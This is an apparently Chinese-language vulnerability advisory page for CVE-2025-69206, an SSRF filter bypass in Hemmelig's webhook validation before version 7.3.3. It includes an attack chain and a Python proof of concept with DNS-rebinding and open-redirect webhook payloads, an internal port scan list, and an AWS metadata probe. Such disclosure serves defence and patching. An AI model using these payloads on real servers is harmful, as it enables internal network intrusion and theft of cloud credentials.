IPBUF安全漏洞报告
English
CVE-2025-69206 CVSS 4.3 中危

CVE-2025-69206: Hemmelig Secret Requests功能SSRF过滤器绕过漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-69206
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Hemmelig.app

相关标签

服务器端请求伪造SSRFDNS重绑定过滤器绕过HemmeligwebhookCVE-2025-69206

漏洞概述

Hemmelig是一款具有客户端加密和自毁消息功能的消息应用程序。在7.3.3版本之前,其Secret Requests功能中的webhook URL验证存在服务器端请求伪造(SSRF)过滤器绕过漏洞。应用程序试图阻止内部/私有IP地址访问,但攻击者可以通过DNS重绑定或开放重定向服务绕过该安全限制。此漏洞允许经过身份验证的用户诱使服务器向内部网络资源发起HTTP请求,从而可能导致敏感信息泄露或内部服务被攻击。攻击者无需特殊权限即可利用此漏洞,仅需拥有Hemmelig账户即可发起攻击。该漏洞于2025年12月29日被披露,厂商已在7.3.3版本中修复了此问题。

技术细节

该漏洞存在于Hemmelig应用的Secret Requests功能模块中,具体位于webhook URL验证逻辑。正常情况下,应用会检查用户输入的URL是否指向内部网络资源(如127.0.0.1、192.168.x.x、10.x.x.x等私有IP段),以防止SSRF攻击。然而,由于验证机制存在缺陷,攻击者可以利用以下技术绕过限制:1) DNS重绑定技术:攻击者注册一个域名,并配置DNS服务器使其先返回外部IP(通过验证),然后在后续请求时返回内部IP(如127.0.0.1);2) 开放重定向服务:利用第三方可信服务(如短链接服务)作为跳板,将请求重定向到内部地址。由于应用信任这些第三方服务,请求会被允许通过。成功利用后,攻击者可扫描内网端口、访问内部API接口、读取本地文件或对内部服务执行操作。CVSS评分为4.3,主要影响系统的机密性。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标使用Hemmelig应用版本小于7.3.3,确认存在Secret Requests功能
STEP 2
步骤2: 账户获取
攻击者注册Hemmelig账户或利用已有账户获取访问令牌(低权限即可)
STEP 3
步骤3: 构造绕过Payload
攻击者准备DNS重绑定域名或寻找开放重定向服务作为跳板,构造能够绕过IP黑名单检查的webhook URL
STEP 4
步骤4: 发送恶意请求
通过API发送包含恶意webhook_url的Secret Request,触发服务器向目标内部资源发起HTTP请求
STEP 5
步骤5: 数据窃取或内网探测
根据返回的响应信息,攻击者可获取内部服务数据、扫描内网端口或利用AWS元数据服务等获取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2025-69206 PoC - SSRF Filter Bypass in Hemmelig Secret Requests # Target: Hemmelig.app < 7.3.3 # Configuration TARGET_URL = "https://hemmelig.app" ATTACKER_TOKEN = "your_auth_token_here" # Method 1: DNS Rebinding Bypass # Setup a DNS rebinding service (e.g., https://securityheaders.com/?q=https://attacker-controlled-domain.com) # Point domain to external IP first, then internal IP def create_secret_request_with_ssrf(target_url): """ Create a Secret Request with webhook URL pointing to internal resource using DNS rebinding or open redirect bypass """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Bypass techniques: # 1. DNS Rebinding: Use controlled domain that switches IP webhook_url = "https://attacker-domain.com/rebind-target" # 2. Open Redirect: Use trusted service redirect # webhook_url = "https://google.com/url?url=http://127.0.0.1:8080/admin" # 3. URL encoding/obfuscation # webhook_url = "http://127.0.0.1%2f%2f127.0.0.1" payload = { "title": "Test Secret Request", "webhook_url": webhook_url, "secret_data": "test" } response = requests.post( f"{target_url}/api/v1/secret-request", json=payload, headers=headers ) return response.status_code, response.text # Method 2: Internal Network Scanning def scan_internal_ports(target_url, token): """ Use SSRF to scan internal ports of the server """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Common internal services to probe internal_targets = [ "http://127.0.0.1:22", "http://127.0.0.1:80", "http://127.0.0.1:443", "http://127.0.0.1:8080", "http://127.0.0.1:3306", "http://169.254.169.254/latest/meta-data/" # AWS metadata ] results = [] for target in internal_targets: payload = { "webhook_url": target, "title": "Port Scan" } try: resp = requests.post( f"{target_url}/api/v1/secret-request", json=payload, headers=headers, timeout=5 ) results.append({"target": target, "status": resp.status_code}) except Exception as e: results.append({"target": target, "error": str(e)}) return results if __name__ == "__main__": print("CVE-2025-69206 PoC - Hemmelig SSRF Bypass") print("=" * 50) # Test webhook creation with SSRF payload status, response = create_secret_request_with_ssrf(TARGET_URL) print(f"Webhook Creation Status: {status}") print(f"Response: {response}")

影响范围

Hemmelig.app < 7.3.3

防御指南

临时缓解措施
如果无法立即升级,可临时禁用Secret Requests功能中的webhook特性,同时监控应用日志关注异常的内部网络请求行为。建议管理员检查是否有可疑的Secret Request记录,并考虑重置相关账户凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表